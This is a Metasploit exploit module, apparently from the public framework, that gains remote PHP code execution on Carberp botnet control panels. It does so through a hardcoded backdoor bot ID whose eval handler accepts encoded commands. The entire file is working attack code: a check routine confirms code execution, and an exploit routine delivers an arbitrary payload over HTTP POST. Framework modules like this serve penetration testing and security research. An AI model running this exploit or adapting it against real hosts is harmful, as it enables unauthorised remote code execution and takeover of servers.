##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',
      'Description'    => %q{
          This module exploits backdoors that can be found all over the leaked
        source code of the Carberp botnet C2 Web Panel.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module
          'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting
          'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting
        ],
      'References'     =>
        [
          ['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Keys'        => ['php'],
          'Space'       => 10000,
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['carberp', {}]
        ],
      'DisclosureDate' => 'Jun 28 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]),
        OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),
      ])
  end

  def check
    confirm_string = rand_text_alpha(8)
    cmd = "echo '#{confirm_string}';"
    shell = http_send_command(cmd)
    check_code = Exploit::CheckCode::Safe

    if shell and shell.body.include?(confirm_string)
      check_code = Exploit::CheckCode::Vulnerable
    end

    check_code
  end

  def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s)
    request_parameters = {
      'method'	=> 'POST',
      'uri'		=> uri,
      'vars_post'	=>
        {
          'id' => datastore['BOTID'],
          "data" => Rex::Text.encode_base64(cmd.unpack('H*'))
        }
    }
    res = send_request_cgi(request_parameters)

    res
  end

  def exploit
    http_send_command(payload.encoded)
  end
end
